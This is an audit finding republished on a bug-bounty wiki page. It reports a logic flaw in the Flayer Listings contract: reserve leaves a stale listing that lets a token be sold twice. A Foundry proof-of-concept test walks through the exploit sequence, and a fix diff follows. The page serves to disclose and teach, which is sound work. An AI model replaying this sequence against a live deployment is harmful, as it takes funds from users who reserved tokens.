`_listing` mapping not deleted when calling `Listings::reserve` can lead to a token being sold when it shouldn't be for sale
The `reserve` function in the `Listings` contract does not delete the original `_listing` mapping for a token, so if the protected listing is later unlocked without withdrawing the token, the stale listing remains active and can be filled by a third party. This allows the token to be sold twice, causing the original reserver to lose funds and the seller to be paid twice.
Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/252
Found by
0x37, 0xAlix2, 0xHappy, 0xNirix, BugPull, Feder, McToady, Ruhum, almantare, araj, blockchain555, h2134, jecikpo, kuprum, merlinboii, stuart_the_minion, utsav, valuevalk, zzykxx
Summary
When the reserve function is called in Listings a protected listing is created for the selected _tokenId, however while doing this the original _listing mapping for this token is not deleted in Listings. While the protected listing is active this is not a problem because getListingPrice will check the protected listing before reaching the old listing. However if the protected listing is removed this old listing will become active again.
This becomes especially problemative given the ProtectedListings::unlockProtectedListing function allows the user to not withdraw the token immediately, meaning the token will be in the Locker and can now be sold to a third party calling Listings::fillListings.
Vulnerability Detail
Consider the following steps:
- User A lists token via
Listings::createListings - User B creates a reserve on the token calling
Listings::reserve - Later when User B is ready to fully pay off the token they call
ProtectedListings::unlockProtectedListinghowever they set_withdraw == falseas they will choose to withdraw the token later. - Now User C will be able to gain the token via the original (still active) listing by calling
Listings::fillListings
Add the following test to Listings.t.sol to highlight this issue:
function test_Toad_abuseOldListing() public {
// Get user A token
address userA = makeAddr("userA");
vm.deal(userA, 1 ether);
uint256 _tokenId = 1199;
erc721a.mint(userA, _tokenId);
vm.startPrank(userA);
erc721a.approve(address(listings), _tokenId);
Listings.Listing memory listing = IListings.Listing({
owner: payable(userA),
created: uint40(block.timestamp),
duration: VALID_LIQUID_DURATION,
floorMultiple: 120
});
_createListing({
_listing: IListings.CreateListing({
collection: address(erc721a),
tokenIds: _tokenIdToArray(_tokenId),
listing: listing
})
});
vm.stopPrank();
// User B calls Listings::reserve
address userB = makeAddr("userB");
uint256 startBalance = 10 ether;
ICollectionToken token = locker.collectionToken(address(erc721a));
deal(address(token), userB, startBalance);
vm.warp(block.timestamp + 10);
vm.startPrank(userB);
token.approve(address(listings), startBalance);
token.approve(address(protectedListings), startBalance);
uint256 listingCountStart = listings.listingCount(address(erc721a));
console.log("Listing count start", listingCountStart);
listings.reserve({
_collection: address(erc721a),
_tokenId: _tokenId,
_collateral: 0.2 ether
});
uint256 listingCountAfterReserve = listings.listingCount(address(erc721a));
console.log("Listing count after reserve", listingCountAfterReserve);
// User B later calls ProtectedListings::unlockProtectedListing with _withdraw == false
vm.warp(block.timestamp + 1 days);
protectedListings.unlockProtectedListing(address(erc721a), _tokenId, false);
vm.stopPrank();
// Other user now calls Listings::fillListings using User As listing data and gets the token
address userC = makeAddr("userC");
deal(address(token), userC, startBalance);
vm.startPrank(userC);
token.approve(address(listings), startBalance);
uint[][] memory tokenIdsOut = new uint[][](1);
tokenIdsOut[0] = new uint[](1);
tokenIdsOut[0][0] = _tokenId;
Listings.FillListingsParams memory fillListings = IListings.FillListingsParams({
collection: address(erc721a),
tokenIdsOut: tokenIdsOut
});
listings.fillListings(fillListings);
vm.stopPrank();
// Confirm User C is now owner of the token
assertEq(erc721a.ownerOf(_tokenId), userC);
// Confirm User C spent 1.2 collection tokens to buy
uint256 endBalanceUserC = token.balanceOf(userC);
console.log("User C End Bal", endBalanceUserC);
// Confirm User B has lost ~1.2 collection tokens
uint256 endBalanceUserB = token.balanceOf(userB);
console.log("User B End Bal", endBalanceUserB);
// Confirm User A has been paid difference between listingPrice & floor twice (approx 1.4x floor despite listing a 1.2)
uint256 endBalanceUserA = token.balanceOf(userA);
uint256 escrowBalUserA = listings.balances(userA, address(token));
console.log("User A End Bal", endBalanceUserA);
console.log("EscBal User A ", escrowBalUserA);
// Confirm listing count decremented twice causes underflow
uint256 listingCountEnd = listings.listingCount(address(erc721a));
console.log("Listing count end", listingCountEnd);
}
Impact
This series of actions has the following effects on the users involved:
- User A gets paid the difference between their listing price and floor price twice (during both User B and User C's purchases)
- User B pays the full price of the token from User A but does not get the NFT
- User C pays the full price of the token from User A and gets the NFT
Additionally during this process listingCount[_collection] gets decremented twice, potentially leading to an underflow as the value is changed in an unchecked block. This incorrect internal accounting can later cause issues if CollectionShutdown attempts to sunset a collection as it's hasListings check when sunsetting a collection will be incorrect, potentially sunsetting a collection while listings are still live.
Code Snippet
https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690
Tool used
Manual Review
Recommendation
Just as in _fillListing and cancelListing functions, when reserve is call the existing _listing mapping for the specified _tokenId should be deleted as so:
function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
// -- Snip --
// Check if the listing is a floor item and process additional logic if there
// was an owner (meaning it was not floor, so liquid or dutch).
if (oldListing.owner != address(0)) {
// We can process a tax refund for the existing listing if it isn't a liquidation
if (!_isLiquidation[_collection][_tokenId]) {
(uint _fees,) = _resolveListingTax(oldListing, _collection, true);
if (_fees != 0) {
emit ListingFeeCaptured(_collection, _tokenId, _fees);
}
}
// If the floor multiple of the original listings is different, then this needs
// to be paid to the original owner of the listing.
uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
if (listingPrice > listingFloorPrice) {
unchecked {
collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
}
}
+ delete _listings[_collection][_tokenId]
// Reduce the amount of listings
unchecked { listingCount[_collection] -= 1; }
}
// -- Snip --
}
This will ensure that even if the token's new protected listing is removed the stale listing will not be accessible.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The `reserve` function fails to delete the existing `_listing` mapping for the token, leaving a stale listing that becomes active again after the protected listing is unlocked without withdrawal.
Impact
User B pays the full price but does not get the NFT, User C pays and gets the NFT, and User A is paid twice; additionally, `listingCount` is decremented twice, potentially causing an underflow that could affect collection shutdown logic.
What the attacker needed
A token listed via createListings; a user reserves the token; reserver unlocks without withdrawing
The fix
The `reserve` function should delete the existing `_listing` mapping for the token, as done in `_fillListing` and `cancelListing`.
How it was found
- User A lists a token via `Listings::createListings`.
- User B reserves the token by calling `Listings::reserve`.
- User B later calls `ProtectedListings::unlockProtectedListing` with `_withdraw == false`.
- User C calls `Listings::fillListings` using the original listing and obtains the token.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When someone reserves a token, the system creates a new protected listing but forgets to remove the old listing. Later, if the reserver unlocks the protected listing but leaves the token in the contract, the old listing is still there and someone else can buy the token. This means the token gets sold twice, and the reserver loses their money.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.